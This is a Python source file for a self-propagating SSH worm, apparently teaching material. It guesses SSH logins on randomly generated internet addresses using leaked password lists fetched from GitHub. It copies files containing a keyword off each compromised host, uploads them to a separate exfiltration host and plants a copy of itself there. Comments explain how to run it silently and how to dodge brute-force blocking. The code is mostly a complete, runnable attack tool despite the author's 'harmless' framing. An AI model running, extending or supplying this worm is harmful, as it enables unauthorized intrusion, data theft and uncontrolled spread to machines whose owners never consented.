abraworm/worm/AbraWorm.py

286 lines
12 KiB
Python

#!/usr/bin/env python
### AbraWorm.py
### Author: Avi kak (kak@purdue.edu)
### Date: April 8, 2016
## This is a harmless worm meant for educational purposes only. It can
## only attack machines that run SSH servers and those too only under
## very special conditions that are described below. Its primary features
## are:
##
## -- It tries to break in with SSH login into a randomly selected set of
## hosts with a randomly selected set of usernames and with a randomly
## chosen set of passwords.
##
## -- If it can break into a host, it looks for the files that contain the
## string `abracadabra'. It downloads such files into the host where
## the worm resides.
##
## -- It uploads the files thus exfiltrated from an infected machine to a
## designated host in the internet. You'd need to supply the IP address
## and login credentials at the location marked yyy.yyy.yyy.yyy in the
## code for this feature to work. The exfiltrated files would be
## uploaded to the host at yyy.yyy.yyy.yyy. If you don't supply this
## information, the worm will still work, but now the files exfiltrated
## from the infected machines will stay at the host where the worm
## resides. For an actual worm, the host selected for yyy.yyy.yyy.yyy
## would be a previosly infected host.
##
## -- It installs a copy of itself on the remote host that it successfully
## breaks into. If a user on that machine executes the file thus
## installed (say by clicking on it), the worm activates itself on
## that host.
##
## -- Once the worm is launched in an infected host, it runs in an
## infinite loop, looking for vulnerable hosts in the internet. By
## vulnerable I mean the hosts for which it can successfully guess at
## least one username and the corresponding password.
##
## -- IMPORTANT: After the worm has landed in a remote host, the worm can
## be activated on that machine only if Python is installed on that
## machine. Another condition that must hold at the remote machine is
## that it must have the Python modules paramiko and scp installed.
##
## -- The username and password construction strategies used in the worm
## are highly unlikely to result in actual usernames and actual
## passwords anywhere. (However, for demonstrating the worm code in
## an educational program, this part of the code can be replaced with
## a more potent algorithm.)
##
## -- Given all of the conditions I have listed above for this worm to
## propagate into the internet, we can be quite certain that it is not
## going to cause any harm. Nonetheless, the worm should prove useful
## as an educational exercise.
##
##
## If you want to play with the worm, run it first in the `debug' mode.
## For the debug mode of execution, you would need to supply the following
## information to the worm:
##
## 1) Change to 1 the value of the variable $debug.
##
## 2) Provide an IP address and the login credentials for a host that you
## have access to and that contains one or more documents that
## include the string "abracadabra". This information needs to go
## where you see xxx.xxx.xxx.xxx in the code.
##
## 3) Provide an IP address and the login credentials for a host that
## will serve as the destination for the files exfiltrated from the
## successfully infected hosts. The IP address and the login
## credentials go where you find the string yyy.yyy.yyy.yyy in the
## code.
##
## After you have executed the worm code, you will notice that a copy of
## the worm has landed at the host at the IP address you used for
## xxx.xxx.xxx.xxx and you'll see a new directory at the host you used for
## yyy.yyy.yyy.yyy. This directory will contain those files from the
## xxx.xxx.xxx.xxx host that contained the string `abracadabra'.
import sys
import os
import random
import paramiko
import scp
import select
import signal
import requests
import time
users = None
passwords = None
## You would want to uncomment the following two lines for the worm to
## work silently:
#sys.stdout = open(os.devnull, 'w')
#sys.stderr = open(os.devnull, 'w')
def sig_handler(signum,frame): os.kill(os.getpid(),signal.SIGKILL)
signal.signal(signal.SIGINT, sig_handler)
debug = 1 # IMPORTANT: Before changing this setting, read the last
# paragraph of the main comment block above. As
# mentioned there, you need to provide two IP
# addresses in order to run this code in debug
# mode.
## The following numbers do NOT mean that the worm will attack only 3
## hosts for 3 different usernames and 3 different passwords. Since the
## worm operates in an infinite loop, at each iteration, it generates a
## fresh batch of hosts, usernames, and passwords.
NHOSTS = NUSERNAMES = NPASSWDS = 3
def get_password_list():
if debug == 1: return ['password', 'adjfhfad', 'idhf', 'dhf931f']
r = requests.get('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Leaked-Databases/rockyou-75.txt')
return r.text.split('\n')
def get_user_list():
if debug == 1: return ['test', 'user', 'mario', 'matteo']
r = requests.get('https://raw.githubusercontent.com/jeanphorn/wordlist/master/usernames.txt')
return r.text.split("\n")
def get_new_usernames(how_many):
global users
if debug == 1: return ["admin", "account", "vagrant", "kali", "user", "adaliah", "adversary"]
if how_many == 0: return 0
users = users if users else get_user_list()
return random.sample(users,how_many)
def get_new_passwds(how_many):
global passwords
if how_many == 0: return 0
passwords = passwords if passwords else get_password_list()
if debug == 1: return passwords[:100]
return random.sample(passwords,how_many)
def get_fresh_ipaddresses(how_many):
if debug == 1: return ["127.0.0.1"]
if how_many == 0: return 0
ipaddresses = []
for i in range(how_many):
first,second,third,fourth = map(lambda x: str(1 + random.randint(0,x)), [223,223,223,223])
ipaddresses.append( first + '.' + second + '.' + third + '.' + fourth )
return ipaddresses
def run_ssh_command(ssh, cmd):
_, stdout_, stderr_ = ssh.exec_command(cmd)
stdout_.channel.recv_exit_status()
stderr_.channel.recv_exit_status()
out = stdout_.readlines()
err = stderr_.readlines()
if debug == 1:
print(f'\tstdout:{out}')
if len(stderr_.readlines()) > 0:
print(f'\tstderr:{err}')
return []
return out
# For the same IP address, we do not want to loop through multiple user
# names and passwords consecutively since we do not want to be quarantined
# by a tool like DenyHosts at the other end. So let's reverse the order
# of looping.
def main():
while True:
usernames = get_new_usernames(NUSERNAMES)
passwds = get_new_passwds(NPASSWDS)
# print("usernames: %s" % str(usernames))
# print("passwords: %s" % str(passwds))
# First loop over passwords
for passwd in passwds:
# Then loop over user names
for user in usernames:
# And, finally, loop over randomly chosen IP addresses
for ip_address in get_fresh_ipaddresses(NHOSTS):
host = f'{user}@{ip_address}'
print(f'{host} -> {passwd}')
files_of_interest_at_target = []
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip_address,port=22,username=user,password=passwd,timeout=5)
print(f'Connected {user}@{ip_address} -> {passwd}')
# Let's make sure that the target host was not previously
# infected:
received_list = None
cmd = 'ls'
print(f'[{host}] executing: {cmd}')
received_list = run_ssh_command(ssh, cmd)
if not received_list:
next
print(f'Checking if target is already infected')
if debug == 1: time.sleep(5)
if ''.join(received_list).find('AbraWorm') >= 0:
print(f'{host} already infected, found AbraWorm in {received_list}')
next
else:
print(f'{host} not infected')
# Now let's look for files that contain the string 'abracadabra'
cmd = 'grep -ls abracadabra *'
print(f'Checking for interesting files')
print(f'[{host}] executing: {cmd}')
if debug == 1: time.sleep(5)
received_list = run_ssh_command(ssh, cmd)
if not received_list:
next
for item in received_list:
files_of_interest_at_target.append(item.strip())
print(f'Files of interest at the target: {files_of_interest_at_target}')
if debug == 1: time.sleep(5)
scpcon = scp.SCPClient(ssh.get_transport())
if len(files_of_interest_at_target) > 0:
for target_file in files_of_interest_at_target:
print(f'[DEBUG] Copy file {target_file}')
if debug == 1: time.sleep(5)
scpcon.get(target_file)
# Now deposit a copy of AbraWorm.py at the target host:
print(f'[DEBUG] Copy AbraWorm in target')
scpcon.put(sys.argv[0])
scpcon.close()
if debug == 1: time.sleep(5)
print(f'[DEBUG] Cheking {host} for worm deploy, executing: {cmd}')
received_list = run_ssh_command(ssh, cmd)
print(f'{received_list}')
if debug == 1: time.sleep(5)
except Exception as e:
print(f'Exception catched: {e}')
next
# Now upload the exfiltrated files to a specially designated host,
# which can be a previously infected host. The worm will only
# use those previously infected hosts as destinations for
# exfiltrated files if it was able to send the login credentials
# used on those hosts to its human masters through, say, a
# secret IRC channel. (See Lecture 29 on IRC)
if len(files_of_interest_at_target) > 0:
print(f'Will now try to exfiltrate the files')
if debug == 1: time.sleep(5)
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# For exfiltration demo to work, you must provide an IP address and the login
# credentials in the next statement:
ssh.connect('127.0.0.1',port=12345,username='seed',password='dees',timeout=5)
scpcon = scp.SCPClient(ssh.get_transport())
print(f'Connected to exhiltration host')
for filename in files_of_interest_at_target:
scpcon.put(filename)
scpcon.close()
if debug == 1: time.sleep(5)
print(f'Summary')
print(f'Extracting file:')
for filename in files_of_interest_at_target:
print(f'- {filename}')
except:
print("No uploading of exfiltrated files\n")
next
if debug == 1:
return
if __name__ == "__main__":
main()